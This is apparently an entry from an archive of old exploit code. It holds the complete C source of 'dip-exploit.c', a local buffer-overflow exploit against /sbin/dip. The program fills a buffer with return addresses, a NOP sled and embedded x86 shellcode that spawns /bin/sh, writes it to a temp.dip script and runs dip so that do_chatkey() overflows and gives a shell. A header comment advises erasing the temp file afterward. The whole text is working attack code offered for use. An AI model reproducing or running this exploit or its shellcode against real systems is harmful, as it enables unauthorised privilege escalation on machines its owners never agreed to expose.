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bundle of exploits
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dipExploit.c
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C/C++ Source or Header
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1998-07-17
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1KB
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48 lines
/*
justa note.. dont forget to erase the temp.dip file when you run this exploit.
dip-exploit.c - overruns the buffer in do_chatkey() to give a shell
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_DIP "/sbin/dip"
u_char shell[] = /* courtesy of avalon ;) */
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
u_long esp() { __asm__("movl %esp, %eax"); }
main()
{
u_char buf[1024];
u_long addr;
int i, f;
strcpy(buf, "chatkey ");
addr = esp() - 192;
for (i=8; i<128+16; i+=4)
*((u_long *) (buf+i)) = addr;
for (i=128+16; i<512; i++)
buf[i] = 0x90;
for (i=0; i<strlen(shell); i++)
buf[512+i] = shell[i];
buf[512+i] = '\n';
if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
perror("temp.dip");
exit(0);
}
write(f, buf, 512+i);
close(f);
execl(PATH_DIP, "dip", "temp.dip", (char *)0);
}